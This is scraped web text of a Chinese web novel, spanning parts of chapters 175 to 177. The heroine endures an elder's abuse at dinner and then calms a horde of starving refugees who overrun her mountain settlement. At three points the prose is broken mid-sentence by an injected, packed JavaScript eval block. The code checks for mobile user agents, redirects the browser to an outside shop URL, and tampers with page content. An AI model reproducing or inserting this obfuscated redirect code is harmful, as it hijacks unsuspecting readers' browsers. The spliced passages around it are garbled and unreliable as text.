栖真知道重离想她详细说明,便道:“虽然我和他们隔着一些秘密,无法每件事都掏心掏肺,但我觉得这并不影响我们的日常相处。我们刚来这座山头时……啊,是二月二十五日,今早还有人提醒我,今天九月二十五了,我在山上都住了八个月了……我们刚来时,他们对我有防备,不接纳我,甚至有人想要我性命。可人心都是肉长的,我相信只要我对他们好,他们也能感受到。你看,大半年下来不就验证这点吗?大家不是越相处越和睦吗?如今山上一切井井有条,他们也开始了自己的事业,我和他们合作,也找到了自己想做的事,大家互利互惠,抱团取暖,这就是我说的‘很好’!” 重离挑出一个重点:“有人想要你的命?” “一开始是。”栖真道:“但我觉得,那只是一个出于对陌生人的防范而犯下的不经意的错误。这人我之前就认识,他并非穷凶极恶的人。” “一个不是穷凶极恶的人,却在刚认识一个陌生人时,就想干掉她。”重离道:“而你认为这只是他犯下的一个不经意的错误?” 栖真道:“他本质真得不坏,之所以变得防备心那么强,和我有脱不开的关系,所以……是的,我宁愿这样解读。” 重离笑起来,最近两次见面,他笑的次数比以前多,虽然他的笑让人感受到的绝非愉悦,但总是零到一的突破:“我不知道你差点死在别人手里,看来他的行凶没有对你造成实质性伤害。” 栖真也笑起来:“不仅没有实质伤害,还让我的爱人因此找到我。以及,哦,你不好奇我是怎么发现那些石头奥秘的吗?也是因为那一次事件!” 重离明显对她说的两个好结果不怎么感兴趣,他只问自己关注的点:“我是不是可以理解成,如果他对你的侵害造成了实质性的恶果,比如把你打成植物人,你就绝对不会跟我云淡风轻地讲他只是犯下一个不经意的错误,更不会像现在这样轻易地原谅他?” 栖真语塞,半晌才道:“我都被打成植物人了,还谈何原谅?” 重离道:“你不愿正面回答这个问题,说明你真实的想法是,原谅与否不取决于对方做了什么,而取决于对方的行为对你造成的伤害程度。” 栖真无奈:“那又如何?我们探讨这个问题的意义是什么?” 重离道:“帮你进一步认识自己。” “天哪!重哥!”栖真受不了,故作夸张道:“继我的幸福值后,你还要管我的价值观?你穿越前真的不是心理医生?是的话你就眨眨眼,或者给我看下心理医生资格证也行。” 重离冷然道:“鉴于你对人性洞察的倒退,我觉得有些伤害可能在所难免,但我不希望我的玩具在人性问题上重蹈覆辙。” “玩具?我?”栖真毫不吝啬地翻个白眼:“你自个玩吧,我去看看幸福值。” “91。”重离脱口。 在栖真因为获得答案,说谢谢和再见,转身准备出洞的当口,重离好整以暇地坐在沙发上道:“希望你一直幸福下去。” 铁索桥出来连通着花千树的后院,当初风宿恒选择西边,便是为了让她出入吊桥不至于被人看到。 栖真回了趟香满路,把长风破浪的钥匙放进书架第二格的青木匣中,里面原本就有一把,是开启她卧室藤箱的铜匙。山上动工前风宿恒就把她的登山包挖出,乘夜下山交给袁博保管,房子造好后又取回锁进藤箱里。看着两把钥匙放在一处,栖真开心一笑,和颜心一起去聚义堂用晚膳。 聚义堂置在各色建筑正中,是名副其实的山头“大客厅”,因是栖真和阿畅这边出的资,造得并不抠唆。挑高的梁顶,宽敞的空间,山上砍伐的毛竹为壁,覆了一层防雨的希瓦。东南西北竹窗一开,四面通风,比私房风凉得多。是以平时大伙儿都喜欢待在这里喝茶聊天,或听栖真给孩子们上课。 东窗上挂着一口铜钟,每到膳时祁家婶子便敲钟,清脆的声响响彻山头,众人闻声而来,就到了堂上最热闹的时刻。 阑珊跟容绽走了,山遥受托,昨晚回山看顾容伯舒,和容伯舒一起坐了主桌。慕容、常璐、董未、典叔、阿陶、成校和栖真在同桌作陪。 容伯舒厌恶栖真,只要他在,总不让容绽和阑珊跟栖真坐。今日容绽不在,大家才勉为其难凑了一桌。 栖真给常璐单独的盘子里夹好菜,照顾她慢慢吃。因适才和重离说的“不经意的错误”,便多看了山遥两眼。 自那次吵完架,两人至今没说过几句话。山遥不来道歉,即便上课认真听,小组讨论也参加,对栖真就是不理不睬。 不过他平时就这样,众人也没觉得他是刻意针对栖真,只当他是惯常冷脸。但两人目光偶尔对上,栖真却能从他那绝不掉转的眼眸里看出一丝探究意味。 类似“无论你是何方妖孽,我就静静看着你”的眼神。 因为山遥这般砥砺的存在,有时栖真也会忍不住去想重离说的“人性”。 对于她坚信的“只要对别人好,别人也能感受到”为何在山遥身上屡试不验,她总是归结于“还不够好”。 别人心墙一寸,山遥却有一海,她做不到翻倍便感化不了他。 一个人不可能让所有人都喜欢,但山遥并非不相干的人,他是她“赎罪清单”上重要的一员,尤其听风宿恒讲过他和容聘过往后,她更能理解为何山遥性情大变,对人防若惊弓之鸟。 因为一朝被蛇咬,十年怕井绳! 董未几个月来一门心思在山下坐堂攒银子娶媳妇,如今也有了几百两的身家,说话更有底气。难得回山一趟,那个碍事的家仆又不在,自然主动坐到栖真身边,殷勤地给她夹菜盛汤。 栖真让他别客气,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575319|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃,他却根本不听劝。栖真只好转头看了一圈,主动问起山遥,这几日山下生意怎样。 絮回的创业小分队是有分工的,之所以第二家店能开那么快,完全得益于山遥花了不少时间在郢业找店面。 白骨精的地段也很好,房租虽比蝴蝶梦略高,但也算不错的选择。平日山遥并不镇守店中,主要负责去市井田头找更好的“供应商”,而根据栖真所教,再小的农户,只要收了人家菜,一定要“签约”,以便保障双方利益。是以那些她强调的“供应商关系维护”也全数山遥在做,事多且繁,一点不比柳絮回他们清闲。 此时山遥见问,虽奇怪她今日主动开腔,不情不愿地倒也答了几句。 栖真听完,顺势道:“两店加起来有八户菜农,我们是将人家菜田包圆的,同气连枝的关系,平时多照顾点。” 她话音刚落,就听啪一声,是筷子拍在桌上的声响,就见容伯舒盯着她,怒容满面道:“同气连枝?和谁同气连枝?他们也配!” 容伯舒这一怒,旁边人都吓一跳,停箸看看他,又看看栖真。 容伯舒像来了劲,指着同桌人:“你,啊,你们,和容绽一样,都被妖女蛊惑!天天鼓吹什么乱七八糟的!都没安好心。” 什么和什么?这不存心找茬吗? 栖真也火起,就差把筷子一拍,回一句,怎么就没安好心? 可一想到此刻她骂回去易,等容绽回来,只怕容伯舒的恶气会全部出在他头上,便收了收气性,一声不吭坐在那里。 容伯舒见栖真得了骂,居然皮厚至极不离席,气得身体都开始抖:“你这妖女,见一个搭一个,容绽就是被你带坏。今日他不在,你看看,啊,旁边一个,前面一个,哪个不去招惹?你,你不守妇道,啊,你淫/乱!” 大家面面相觑,这就骂得离谱了。 大容国破后,容伯舒深受刺激,脑子开始混沌不清。 和常璐不同,常璐是明着疯,容伯舒是暗着来。明面上应对都正常,人却越来越偏激,讲话无理,动辄打骂,平时也叫容绽耐着性子照顾,换了旁人,只怕早被他逼疯。 容伯舒之前的话别桌没听到,这句吼出来,响彻聚义堂,霎时让别桌也停了筷。 颜心噌地过来,火冒三丈道:“为老不尊!敢这么跟小姐说话?” 容伯舒指着她鼻子急赤白脸:“什么东西,在老夫面前叫嚣!若在从前,早拉出去打死!” 颜心气得脸都涨红了:“我家小姐为你们做了多少事,你在堂上好吃好喝,托谁的福?不是我家小姐帮衬,沙漠里吃沙子呢你!” 栖真一看场面要失控,那么多人在,话出去覆水难收,忙起来拉住颜心:“好了,别说了。” 颜心眼泪哗哗往下掉:“小姐你做错什么,凭什么遭人这样骂?” 聂灵鸢过来拉过颜心,一掌捏她胳膊,示意她冷静:“妹子,别哭别哭!来,跟灵姐出去。” 又对栖真使眼色,想把人带出去,先把场面控制住再说。 栖真回头对容伯舒行了一礼,冷静道:“大神官殿下,您是大容天潢贵胄,我是付春高门望族。大家都是有身份的人,说的话、行的事就要合着身份来。我和容绽及在座各位从无私狎,更无过从甚密之举,还望殿下明察。容绽待您至亲,恳请您放宽心胸,万勿再说这种让他蒙羞的话。” 这时慕容烟月也起身一礼:“殿下,栖真帮我们良多,是我们的大恩人。对恩人应怀感恩之心,怎能用无稽之言恶意伤人?” 董未看慕容勇敢站出来,也起身道:“殿下,栖真向来稳重自持,我们敬她爱她,全数出自感恩之心,还请殿下收回恶言。” 栖真没想到慕容和董未站出来为她说话,感激地看了他们一眼。 容伯舒怒拍桌,吹胡瞪眼:“一个个反了吗?敢这么和老夫说话?老夫,老夫代表神明!你们,还有谁,还有谁要说?”他凶神恶煞地指着所有人:“有谁要说,不妨起来说个痛快!” 也叫今日容绽不在,让容伯舒撒一通野,栖真觉得真没必要待下去,便道:“你们慢用”,转身带颜心就走。 容伯舒之前因栖真不走暴怒,如今见她走更怒,拿起面前汤碗就朝栖真掷去。 这一下又快又猛,等大家回神,就见汤碗砸在栖真背上,滚烫的一碗蛋花汤全数浇在她身上。 栖真吃痛,就觉背上火烧火燎。 颜心尖叫,瞬间失去理智,回身要对容伯舒动手,便是回泼一碗也好。 聂灵鸢一面拉颜心,一面扶栖真,急得两头不着调。慕容和董未已经抢上来扶住栖真,忙要带她回去上药。常璐见栖真受伤,仿佛受了天大刺激,又踢又打,直接踹翻了整张桌面,饭菜崩了一地,哭着嚷嚷“兰珍,兰珍”,最后被泼了一身饭菜的典叔和成校制住。 一时间聚义堂里乱成一片。 这片混乱中,扶着栖真往门口去的慕容和董未忽然停下脚步。 他们不仅停步,还禁不住往后退。 渐渐地,喧闹的堂里个个息声,除常璐还在嚎啕,所有人看向门口,都惊呆了。 176. 第 176 章 就见门口进来一个人,两个人,三个人……一群人。 一群衣衫褴褛的陌生人! 哪里来的陌生人? 有人夜闯山头? “有吃的!他们有吃的!” “快!” “要……要!” 就在大家被这异状惊地反应不及时,就见源源不断涌进来的陌生人个个眼冒绿光,满脸癫狂贪婪之态,四散抢到桌旁,用手抓着他们吃剩下的饭食就往嘴里塞。 很快两个圆桌前全部涌满了抢食者,后面进来的见挤不进去,索性趴到地上,抢掉在地上的红烧肉和卤蛋吃。 这变故吓得山上众人连声惊叫,栖真顾不上背疼,大叫:“别管他们,大家贴墙站,把地方让出来。” 白三赵四他们都护着家人贴墙,不敢置信地看着堂中比乞丐还不如的穷凶极恶之态。 就在大门口终于不再堵塞,栖真赶忙指挥:“出去!现在都出去!” 大家寒毛直竖,赶紧跑出聚义堂,便见夜色下,后面还有大批人上山,全披着夜色往这边围来。 栖真抓过聂灵鸢:“叫大家到花千树,锁好门。” 说罢男人护着女人孩子,山遥推着容伯舒,全往花千树跑。慕容急道:“小宝还在房里睡觉!” 栖真一把推她回队伍:“回去,去花千树。” 她拉过阿陶:“跟我走。” 说着两人穿过奔涌向聚义堂的人群,往上西间去。推开门,抱起被外间声响吵醒正哇哇大哭的小宝儿,赶忙往回跑。 可他们没跑两步就被拦住,拦住他们的是四个男人,其中一位老者粗声粗气问:“你们是住在山上的?” 栖真把怀里的孩子抱紧了:“你们什么人?” 老者道:“我们是辛丰西来的,家乡旱灾,太饿了……我们要吃东西。” 栖真极快道:“你是领头的吗?控制住他们别乱来,我们给你们东西吃。” 老者激动道:“可、可以!” 他对身后的花臂、歪嘴和独眼道:“让他们全出来,到外面来,有东西吃,他们会给我们东西吃!” 歪嘴和独眼就回身大叫:“别进去了,到外面来,外面,有吃的!” 后面再来的人即便进了聚义堂也找不到一点吃食了,剩下的饭菜早让前面人蝗虫过境一样抢个精光,大家都在四处找别的吃食。 可山上的存量全数锁在粮仓,除灶间锅中一点剩余,哪里还有吃的。 四个男人把栖真和阿陶团团围住,不让他们走脱,推推搡搡把人带到山前空地处。栖真对老者道:“放了我们,我找人来烧饭。你们把我们团团围住,怎么烧给你们吃呢?” 花臂推了一把阿陶:“让他去叫人,你是领头的,你留下。” 栖真将小宝交给阿陶,低声叮嘱:“让大爷爷、阿月、常璐和孩子们待在花千树,千万别出来,把其他人叫出来。” 趁阿陶离去际,栖真问那老者:“老丈怎么称呼?” “鄙姓苏。”说起话来还有点文绉绉。 “苏伯!”栖真道:“你们求吃的,我们求安全,待会儿家里人出来,请不要伤害我们,可以吗?” 苏伯道:“我们不是坏人,不是饿得没了人样,怎会如此呢。” 栖真道:“你们有多少人上山?” 苏伯道:“一路跟来的,一百多号。” “一下子要做出一百多人的吃食,要点时间。”栖真看着面前乌压压极具压迫感的人群,快速道:“山头地方大,苏伯可否让大家坐下休息,也好让我们的人用灶头?” 苏伯见她不急不躁,极其配合,便回身跟三个男人吩咐,随即四人对人群大喊:“都坐下,等吃的,有人给我们烧!” 栖真就怕一群人没领头的,横冲直撞无法沟通。如今抓住领头的,能用清晰的指令告诉大家接下来的安排,便容易销匿那种狂暴,把人安抚下来。 只要安抚下来,一切好说。 众人出花千树,在陌生人饿狼般的虎视眈眈下来到栖真身边,听她最快速度吩咐:“祁哥、赵四、白三、莫生,四家负责灶头,用大锅,烧粥,做馒头。” “阿瑶、董未、典叔、阿陶、成校、颜心、灵姐和我,两两一组,分四个地方,起篝火烤野味。每组隔开些,务必让人分一分坐个圈。” 众人得令,各行其是,最快速度生火揉面。 栖真跟苏伯道:“乱七八糟一堆人我们看着害怕,劳烦二十到二十五人一组,在篝火边围坐,也好让我们分碗倒水,给大家润喉。” 很快山头空地处东南西北四堆篝火燃起,又饿又累的人群一听有水喝,很快分成四摊。 上百人聚在一起,一点情绪上的风吹草动都会酿成一场灾难,如今分散坐下,七八个大碗轮流喝水,便把一触即燃的情绪安抚下来。 栖真稍稍松口气。 之前露营用的烤架都在,拿出来一架,串上野味和大五花,在火上转着烤。不一会儿肉香就飘满山头,把难民馋得眼中直冒绿光,但没人出声,没人兹事,再馋都只是直勾勾盯着烤肉看。 这就是栖真要的状态。 烧粥、蒸馒头起码小半时辰,那么多人看不到干坐着等,不耐烦的情绪又要传染,所以她故意燃四堆篝火,当着大家面烤。让人看到食物制作的过程有助于缓解焦虑,归拢期盼。 反正对栖真而言,现下重点是维/稳。风宿恒和容绽都不在,她不能让山上出事! 馒头、热粥、烧烤管够,一波波发下去倒也井井有条没有哄抢。栖真坐到苏伯身边,见他一口馒头一口肉,便顺手帮他拿着碗。待他吃得尽兴,问了事情来龙去脉,才知这群人都是西路道来的流民,基本互不相识,在郢业遭官府驱赶,听说这里有座山头有吃有喝,便出城找来。 栖真将粥递过去,忍着四周令人作呕的酸臭,客气道:“是谁说这山头有吃有喝的?” “谁知道?”苏伯喝粥:“都在传。” 栖真沉吟:“接下来大伙儿作何打算?” 老人家吃得有些噎,顺着胸口:“作何打算?活着就是打算!” 周围人也道:“都是起早贪黑忙农活交田租,遇到天灾就这下场,狗娘养的官家人!” “官府不给人活路!想活下去有错吗?” 有位麻衣大婶过来给栖真跪下:“姑娘行行好,俺家这个瞧着不行了,救救他!求您救救他!” 怀里一个三四岁的男娃,脸烧得通红,奄奄一息。 栖真赶紧叫董未:“给看看。” 董未极快诊了脉:“风寒入体,体虚脱水,我得回屋配剂药。” 这百来号人一路走得筋骨酥软,脚底起泡,哪个身上不带点伤病,一看这里居然有大夫,个个涌上来求看,瞬间将董未围得水泄不通。 颜心和聂灵鸢都来护在栖真身边,帮董未解围,让他赶紧回屋取药箱和几篮子药来。 栖真对聂灵鸢道:“每组通知下去三件事,第一告诉所有人茅厕在哪儿;第二,叫祁哥他们把库房里的毡帐搭起来;第三,让嫂子们烧热水,越多越好,让想洗漱的去浴间。” 聂灵鸢得令,赶紧通知剩下三组。董未一路小跑回来,立刻被人围上。栖真对颜心道:“去,叫阿遥来,过来的时候带盏格子灯。” 不一会儿山遥过来了,栖真让他坐董未旁边:“就这点药顾不上所有人,先救快不行的,其他能拖一拖的董未给个编号,阿瑶帮忙记一下每个号需要什么药,明日山下买来,再把人叫来看。” 大概栖真这番话说得太命令式,惹来山遥白眼,栖真把药箱里的纸笔往他手里一塞,拍拍他肩:“听话!” 百来号人终于吃饱喝足,骨头吐了一地,碗也散落得草甸上到处都是,茅厕和浴间都排起了长队,祁哥指挥着五六个瞧起来还年轻的难民,和白三他们将毡帐搬出来。山上有十七顶,只能解决一部分人,基本还是让给了那些拖儿带口的家庭。 栖真冷眼旁观,放下点心。 适才他们冲进聚义堂抢食的一幕太慑人,冲击着人的视觉底线,如今看来只要基本需求得到满足,人性便会回归。 虽落魄,至少良心未泯。 栖真让颜心去给灶间忙碌的嫂子们传话,去把聚义堂打扫出来,再来草甸这边将空碗收回去。 栖真指着聚义堂对苏伯道:“想睡露天的睡露天,那个最大的厅堂能睡下六七十人,没毡帐的今晚可以去那里将就。” 苏伯早看出这姑娘不仅是这山头的主,且是个厉害的主,当下道:“好的,好的。” 这群人虽互不相识,但苏伯和大花臂他们几个既然临时当了头,现下也把吃喝拉撒解决了,难民也便暂时听他们的,传下去的话也都照做了。山头虽喧哗,至少不乱。 栖真见状,跟着聂灵鸢去粮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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但对栖真他们而言,今晚注定是个不眠夜。 她让山遥带容伯舒回下西间先睡,只因让容伯舒待在花千树,他还死活不愿意。栖真把孩子们和常璐交给阿月,也叮嘱他们回房休息,除非自己人来,坚决不能开门。 剩下的人齐聚灶间,一堆碗要洗,还要商量后面怎么办。 别看今日饭桌上栖真被容伯舒一顿羞辱,真遇事,大家都不自觉听她的,真心觉得只要栖宫主在,不怕天塌下来。 今晚这场混乱,不也给她三下五除二控制住了嘛! 栖真首先给大家统一思想,这些平民百姓流浪千里,确实可怜,遇见了,能帮一把是一把。 其次重申安全,叮嘱首要看顾好容伯舒、常璐和孩子们,这几日能不出门不出门。家宅进出都要栓窗锁门。 接着重新捋一遍分工,嫂子们负责烧饭,剩下的人全数按照今日分组看好流民,可以多关心多攀谈,但别让人觉得宾至如归。万一苗头不对,立刻报给她知。 最后栖真让大家放宽心,这事是暂时的,劳烦大家累上几日,她一定想办法尽快解决。 经她一番说辞,大家惶惑一晚的心才稍稍安定,虽被意外打得措手不及,时下倒也生出些同情心,只当行善积德了。 回花千树都三更了。聂灵鸢不放心,今晚跟她们同住。栖真让颜心把大门锁上,聂灵鸢才得空给栖真背上上药。 经这一晚,栖真都忘了这茬,褪下衣服才觉刺痛。聂灵鸢手脚快,挑了水泡涂了药,用纱布包好,才服侍人简单洗漱侧躺。 颜心端着水盆在边上,看着就心疼:“主母以后别拦我,这般欺负人的,就该骂回去。” 栖真道:“行了,真要开骂我功力也不差。只是抬头不见低头见的,一时骂爽了,后面怎么办?” 聂灵鸢对栖真道:“我觉得颜心做得对,主母和我不方便出头时,颜心就该硬气些,没我们这边忍气吞声的道理啊!” 栖真心想,我们不忍气吞声就要换容绽忍气吞声,我们一帮子人可以互相消解,容绽就一个人,有苦找谁说去? 当下道:“以后我注意点,不讨容伯舒的晦气。今天这事……就别跟宿恒说了吧。” 聂灵鸢道:“我们不说,他回来看到你的伤也会知道。” 等他回来,有毛个伤! 早长好了! 栖真哀叹一声:“睡吧睡吧,好累啊!” 177. 第 177 章 山野迢迢,群山峻岭,有信鸽夤夜飞至寨中,又被上报,落在才率军出寨的大神王手中。 这是一个年轻男子,高挑精悍,气质冷冽,头戴楠枝斗笠,汗巾覆面,展开来报扫了一眼,面色顿变。 他勒马驻足,身后军队也立时停下。 “殿下!”身边人问:“情况有变?” 年轻男子道:“阿谣,鸣金收兵,回营。” 阿谣徒然意外,但知主子必有理由,这便鸣金,全数回营。刚进营帐便见男人卸下甲胄,欲轻装而出。 “殿下,上哪儿去?”见他面色凝重,行色匆匆,阿谣赶忙相询。 “郢业桩子来报,城里到处在传,大容神官身在大荒流的荒山上!” “万一又是假消息呢?”阿谣拉住他,疾声道:“这些年您到处寻,哪次不是失望?现下大军出发在即,不趁朝堂空虚,钟雄倪煌回辛丰述职之际一鼓作气攻入主城更待何时?天赐良机,不能错过啊!” 年轻男子不是不纠结,最终将抓着他的手推落:“永嘉道已通,来回最多四日,我去看一眼。若确认消息为假,即刻赶回!” 找人素来是心头第一要事,阿谣目送男子上马绝尘而去,无奈到愤怒也无计可施。 ………… 栖真睡了三个时辰就听门外呵斥声,忙披衣出房,见聂灵鸢摔了两个男人出院,让他们滚。 “天才亮就翻墙。”聂灵鸢回身扣好柴扉:“还说随便看看,翻墙进来随便看看?” “不知阿畅怎么想。”她抱怨:“正正经经造扇大门不行吗?弄个柴扉,诗意有了,遇事顶个屁用!” 聂灵鸢一回头,就见栖真站在房前笑。 见她笑容,聂灵鸢一早被宵小惹毛的心就平复些,强调道:“鱼目混珠,什么人都有,这几日别离我身边。” 栖真自是应下。 昨日应对仓促,今日聚义堂倒把六张大圆桌都支上了,几位嫂子给众人发馒头。 大部分人领完自去找地方吃,也有人不满意,嘟囔昨晚好歹还有粥,今日反倒没了?嫂子们洗碗到半夜,没睡多久就起来揉面弄早膳,还被人怼,一个个脸上都不好看,到底记着栖真叮嘱,不跟他们冲突。只那祁家嫂子狠狠瞪一眼,没好气道:“该咱们的呀?” 白日里,阿闯、焘兴和洪柱带着三车物资回山。阿闯跟栖真禀报:“阿絮小姐急得不得了,昨日就想回山头,是我让她暂留,别说店里她一时脱不开,便是后面采买,有她和许先生在才不会乱。运东西就我们几个来,这几日我们留在山上,好给宫主帮个手。” 别说,有三个体彪精壮的汉子帮衬,栖真确实觉得多些底气。她给他们任务,一个守着花千树,一个守住田字房,还有一个镇守粮仓。不能让人乱闯,否则直接打走。 如今山头就是各种乱。 很多事,真不是指挥得好或提前告知过,就一定如愿。 比如遍山头的人屎人尿在艳阳的熏蒸下发出令人作呕的恶臭;比如避晒挤在聚义堂不肯出去,有人为多抢两个凳子拼一起打盹而争强斗殴,推搡间把黑板打碎;再比如明明按记下的种类和药量运来药,一半金疮药却被人抢走,搞得真正需要的人又不够,气地差点殴打董未,因为“说好今天上药,结果你说话不算话”。 许是在颠沛流离中经受了太多苦难,感受到太多不公,人人是刺,不能受一点点自认的冒犯,否则就是害他;到处火药,看不得一点点怠慢,否则一点就燃。有知礼的,谦让的,在如此蛮横的氛围里也变得不合时宜,逐渐被撸掉那点点向善的耐心。 两日下来,栖真被折磨得够呛,晚上聚一起时,栖真跟父母们和阿月商量:“山上不太平,明日一早要不让阿闯和焘兴带你和孩子们下山,去阿絮那儿暂避,等山上解决了再回。容伯和常璐也去。” 阿月道:“栖真,你跟我们一起走。” 祁南英见栖真不说话,抢道:“阿闯和焘兴要在山上看着,明天还是我和我家的陪他们下山吧。” 栖真看祁南英一眼,环视一圈问:“还有谁想下山的,一起去吧。” 祁南英想,宫里这帮人躲山上自有原由,可他们这些工匠队的只是图活儿才在这里待,没道理跟在山上受罪!看他和他家的这两日都累成什么样了。可当初主动提留下的是他,这会主家没走,他们先走情面上说不过去,是以他盯着莫生、白三、赵四他们,就盼着他们都留下才好。 典叔、成校和阿陶面面相觑,一时也有些犹豫。 众人一时半会儿各想各的,阿闯霍然起身:“我不下山,我们要守住山头!所有人都走了,这山头还要的回来吗?这房子是当初阿絮小姐一针一线赚银子造出来的!这里是家,我们下了山,家就没了!” 他又盯着祁南英和莫生他们道:“现在一走了之容易,回来呢?” 他对祁南英说的这句“回来”,是想点醒他们——如今主家有难你们一走了之,等平了难,你们即便回来,还能得主家信任吗? 莫生赵四他们一点就通,连忙压着家里的不让插嘴,道:“我们不走,我们就没想过要走!” 可笑祁南英还松了口气:“对,你们就留在山上,干活总要人的。等流民走了,我们就带小的们回来。” 阿闯瞅了瞅祁南英,转而对栖真道:“宫主,您是大家的主心骨,万万不能出事。恳请宫主明日和阿月小姐一起走。山上就交给我们,我们一定把家守好!” “阿闯,好样儿的!”栖真微笑道:“得大家抬举称一声‘宫主’,本宫主自然要留在山上守着家。” 阿闯和她相视一笑,抱拳道:“随宫主守家!” 等人散了,阿月单独对栖真道:“栖真,我是真不放心你在山上。你看这些人里,有几个男的天天盯着你,那眼神……” 她对这样的眼神太敏感了!当初她便是在这贪婪如豺狼般的眼神下受的侵犯,再见如何不怕。 栖真拍了拍她的手:“我有能力自保,何况再过几天,阿畅和阿绽就回来了。” 阿月跺脚:“两个大男人平时天天在,一有事个个不在,真是的!” 栖真被她逗笑了:“就是,要他们何用!” “还笑!你怎么还笑的出来?”阿月抱住栖真,又气又急:“栖真,我是真喜欢你啊,阿闯说的没错,你就是我们的主心骨,你一定要好好的。” “又不是生离死别,再过几天就解决的事。”栖真笑着回抱她,嘱咐道:“明日乔装下山,带孩子们白骨精吃骨头锅去,回来记得给我带一锅。” 阿月被她的笑容和轻松感染了,自己都觉一时升起的离愁别绪未免小题大做:“好好,我把肉最多的大骨棒都给你带回来。” 隔日一早,慕容带孩子们走了,正好坐了两辆马车,由祁南英和祁家嫂子各赶一辆。 可轮到容伯舒和常璐时,却让栖真犯了难。 因为这两人根本不配合! 容伯舒一听要他去什么店里暂避,连声大骂:“你们要把我弄哪儿去?啊?不去,不去,不去!容绽没回!你们别想带我去任何地方!” 常璐像是知道要把她送走,抱着栖真大哭不撒手,怎么劝都不听。 栖真晚上没睡好,又累又乏,太阳穴一针针地跳,见状也无奈,还想劝一劝,便见数十个流民围上来。 “你们要走?” “他们一早走了好几个!” “不能让他们走!” “对,不能让他们走!走了我们吃什么!” 这几日他们那点口粮全靠山头一顿顿地供,流民们心里堂亮得很,只要这些人在,便有源源不断的吃食送上来,这些人一走,他们占着山头有屁用,存粮吃完啃树皮吗? 是以一看苗头不对全围上来,聂灵鸢和颜心护住栖真,不让人靠近:“我们没走!没走!你们退开!”说着让山遥带容伯舒马上回田字房,她带栖真和常璐脱出人群回花千树,让阿闯在门口守着。 叫颜心陪常璐去后院走走,栖真让聂灵鸢请苏伯一个人过来。 稍时人来了,到香满路见礼,栖真让他在榻上坐,开口道:“遇到天灾人祸人人自危,不在乱世堪比乱世。谁不是父母生养,就图一口饭续命。可苏伯想必看到了,这几日我们尽了力,不知大伙儿后面怎么打算?” 苏伯微阖着眼,双手交握,半佝偻着坐了个榻边:“姑娘有大恩,大伙儿都知道,可问后面怎么打算,老朽不知怎么答。” 他微微转头,想目视栖真,又不太敢,含混着道:“下山吗?山下有活路吗?姑娘是有本事的,姑娘给指条活路呢?” 原是他们身上的担子,现下摆明甩到栖真头上。你撵我们走?我们就不走!除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589727|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非你指条活路! 聂灵鸢站在栖真身边,冷声道:“山上也无活路,吃到山穷水尽,大家一起死!” 她出身沙场,冷下脸,气势岂是一个小老儿抵挡得住。苏伯被她吓得一哆嗦,嘴唇翕动道:“老朽今年七十有二啦!在哪儿死不是死?您说老朽容易,让老朽去跟那么多人说,那不容易啊!” 聂灵鸢还待再说,被栖真抬手阻了。 她好声好气跟苏伯道了几句希望天灾尽快过去的话,便让聂灵鸢送人出去。 待聂灵鸢回来,栖真长叹口气:“揪着苏伯确实无用,这群人没一个真正领头的。要解决这事,要么有消息来,西路道出了安民政策,让人愿意返乡;要么武力赶人下山;要么真地给他们找条路,让这些人也像我们当初那样开辟家园。但无论哪项,都不是我现下能定的。看来这几日只能先拖着,但求山上不乱,等宿恒回来再做商量。” 聂灵鸢道:“这几日主母少出去,有事我传话吧。” “用膳还得出去啊。”栖真道:“赵四他们留下是为情谊,每顿饭要备的量那么大,烧啊洗啊全压在他们三家身上,我不出去安抚安抚,时间长了人家也会生怨的。” “在陛下心中……”聂灵鸢道:“整个山头的人都比不上主母一人重要。” 栖真笑道:“我恰恰是山上最安全的那个,我有你,有饕餮,怕什么?多想想长远的。” 山上百来号人,便有百来号想法和意志。 有身体弱的整日猫在聚义堂虚度时光,也有吃了几顿恢复过来的,到处游走。 有不告自取拿仓库里的锄头铁铲,在林子里乱砍乱伐想造点东西的汉子,有三峰溪里光屁股洗澡到处兹尿的孩子,还有拔了田里刚落土的菜苗去灶间自说自话一通烧说要改善伙食的大娘。 就在这样杂乱的氛围里,山下来了一个人。 一个身着深衣,头顶玉帻,戴着楠枝斗笠的男人。 起初没人注意到山下走来这么一个人。他穿过菜田,左顾右盼,似有犹豫,才有人注意到他。 这男人的穿着和从容的仪态明显不是流民,说他原本就是山上的,瞧着却也不像。 果然,就见这男子拉住一个路过的难民问:“这里可有大容神官?” 难民自然不知什么大容神官,连连摇头。 男子便往最醒目的聚义堂去,见里面东一摊西一摊,四五十号褴褛之徒席地而坐,全然颓废模样,不由暗暗皱眉。还未跨入,就被堂中臭气生生熏倒。 这山头怎么回事? 可他既然长途至此,总要问一问,于是找了门口一个靠墙而坐,也在打量他的瘦汉问:“这里可是万仞山?” 瘦汉:“天知道!” 男子:“山上有没有住着大容的神官?” 瘦汉在脖子上挠痒,一弹指甲里的污垢:“没听说过。” 男子见一屋人实在不像样,连进去多问几声的欲望都没了,转身出堂,心想无非就是再失望一次罢了。 